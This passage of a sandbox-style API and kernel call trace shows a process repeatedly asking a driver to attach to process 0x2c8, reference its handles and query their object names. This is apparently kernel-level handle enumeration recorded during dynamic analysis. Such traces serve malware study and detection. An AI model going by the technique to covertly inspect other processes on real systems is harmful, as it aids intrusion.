| out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.246] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800318ab80, HandleInformation=0x0) returned 0x0 [0069.246] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.246] PsReleaseProcessExitSynchronization () returned 0x2 [0069.246] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.246] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.246] ObfDereferenceObject (Object=0xfffffa800318ab80) returned 0x1 [0069.246] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.246] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.246] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.246] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0069.246] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.246] PsAcquireProcessExitSynchronization () returned 0x0 [0069.246] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.246] ObReferenceObjectByHandle (in: Handle=0x32c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003191340, HandleInformation=0x0) returned 0x0 [0069.246] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.246] PsReleaseProcessExitSynchronization () returned 0x2 [0069.246] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.246] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa800399f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.246] ObfDereferenceObject (Object=0xfffffa8003191340) returned 0x1 [0069.246] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.246] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.246] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.246] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0069.246] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.246] PsAcquireProcessExitSynchronization () returned 0x0 [0069.246] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.246] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003190f20, HandleInformation=0x0) returned 0x0 [0069.246] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.246] PsReleaseProcessExitSynchronization () returned 0x2 [0069.246] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.247] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80039a0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.247] ObfDereferenceObject (Object=0xfffffa8003190f20) returned 0x1 [0069.247] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.247] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0069.247] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.247] PsAcquireProcessExitSynchronization () returned 0x0 [0069.247] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.247] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0069.247] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.247] PsReleaseProcessExitSynchronization () returned 0x2 [0069.247] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.247] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa80039a1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.247] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0069.247] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.247] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0069.247] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.247] PsAcquireProcessExitSynchronization () returned 0x0 [0069.247] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.247] ObReferenceObjectByHandle (in: Handle=0x434, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f67870, HandleInformation=0x0) returned 0x0 [0069.247] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.247] PsReleaseProcessExitSynchronization () returned 0x2 [0069.247] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.247] ObQueryNameString (in: Object=0xfffffa8002f67870, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.247] ObfDereferenceObject (Object=0xfffffa8002f67870) returned 0x1 [0069.247] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.247] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0069.247] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.247] PsAcquireProcessExitSynchronization () returned 0x0 [0069.247] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.248] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003121070, HandleInformation=0x0) returned 0x0 [0069.248] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.248] PsReleaseProcessExitSynchronization () returned 0x2 [0069.248] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.248] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.248] ObfDereferenceObject (Object=0xfffffa8003121070) returned 0x12 [0069.248] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.248] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd4, lpOverlapped=0x0) returned 1 [0069.248] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.248] PsAcquireProcessExitSynchronization () returned 0x0 [0069.248] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.248] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003121270, HandleInformation=0x0) returned 0x0 [0069.248] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.248] PsReleaseProcessExitSynchronization () returned 0x2 [0069.248] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.248] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.248] ObfDereferenceObject (Object=0xfffffa8003121270) returned 0x13 [0069.248] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.248] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.248] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0069.248] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.248] PsAcquireProcessExitSynchronization () returned 0x0 [0069.248] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.248] ObReferenceObjectByHandle (in: Handle=0x458, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003247400, HandleInformation=0x0) returned 0x0 [0069.248] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.248] PsReleaseProcessExitSynchronization () returned 0x2 [0069.248] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.248] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.248] ObfDereferenceObject (Object=0xfffffa8003247400) returned 0x12 [0069.248] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.249] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.249] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.249] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0069.249] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.249] PsAcquireProcessExitSynchronization () returned 0x0 [0069.249] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.249] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f71820, HandleInformation=0x0) returned 0x0 [0069.249] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.249] PsReleaseProcessExitSynchronization () returned 0x2 [0069.249] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.249] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.249] ObfDereferenceObject (Object=0xfffffa8002f71820) returned 0x13 [0069.249] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.249] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.249] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.249] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0069.249] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.249] PsAcquireProcessExitSynchronization () returned 0x0 [0069.249] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.249] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032488b0, HandleInformation=0x0) returned 0x0 [0069.249] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.249] PsReleaseProcessExitSynchronization () returned 0x2 [0069.249] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.249] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.249] ObfDereferenceObject (Object=0xfffffa80032488b0) returned 0x12 [0069.250] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.250] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0069.250] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.250] PsAcquireProcessExitSynchronization () returned 0x0 [0069.250] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.250] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003261a90, HandleInformation=0x0) returned 0x0 [0069.250] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.250] PsReleaseProcessExitSynchronization () returned 0x2 [0069.250] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.250] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.250] ObfDereferenceObject (Object=0xfffffa8003261a90) returned 0x13 [0069.250] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.250] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0069.250] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.250] PsAcquireProcessExitSynchronization () returned 0x0 [0069.250] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.250] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003279070, HandleInformation=0x0) returned 0x0 [0069.250] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.250] PsReleaseProcessExitSynchronization () returned 0x2 [0069.250] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.250] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.250] ObfDereferenceObject (Object=0xfffffa8003279070) returned 0x12 [0069.250] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.250] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.250] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.250] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0069.250] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.250] PsAcquireProcessExitSynchronization () returned 0x0 [0069.251] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.251] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003278890, HandleInformation=0x0) returned 0x0 [0069.251] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.251] PsReleaseProcessExitSynchronization () returned 0x2 [0069.251] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.251] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.251] ObfDereferenceObject (Object=0xfffffa8003278890) returned 0x13 [0069.251] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.251] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0069.251] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.251] PsAcquireProcessExitSynchronization () returned 0x0 [0069.251] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.251] ObReferenceObjectByHandle (in: Handle=0x4d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003308a80, HandleInformation=0x0) returned 0x0 [0069.251] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.251] PsReleaseProcessExitSynchronization () returned 0x2 [0069.251] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.251] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.251] ObfDereferenceObject (Object=0xfffffa8003308a80) returned 0x12 [0069.251] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.251] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.251] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0069.251] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.251] PsAcquireProcessExitSynchronization () returned 0x0 [0069.251] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.251] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f853c0, HandleInformation=0x0) returned 0x0 [0069.251] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.251] PsReleaseProcessExitSynchronization () returned 0x2 [0069.251] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.251] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.251] ObfDereferenceObject (Object=0xfffffa8002f853c0) returned 0x12 [0069.251] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.252] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.252] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0069.252] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.252] PsAcquireProcessExitSynchronization () returned 0x0 [0069.252] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.252] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032f2ac0, HandleInformation=0x0) returned 0x0 [0069.252] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.252] PsReleaseProcessExitSynchronization () returned 0x2 [0069.252] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.252] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.252] 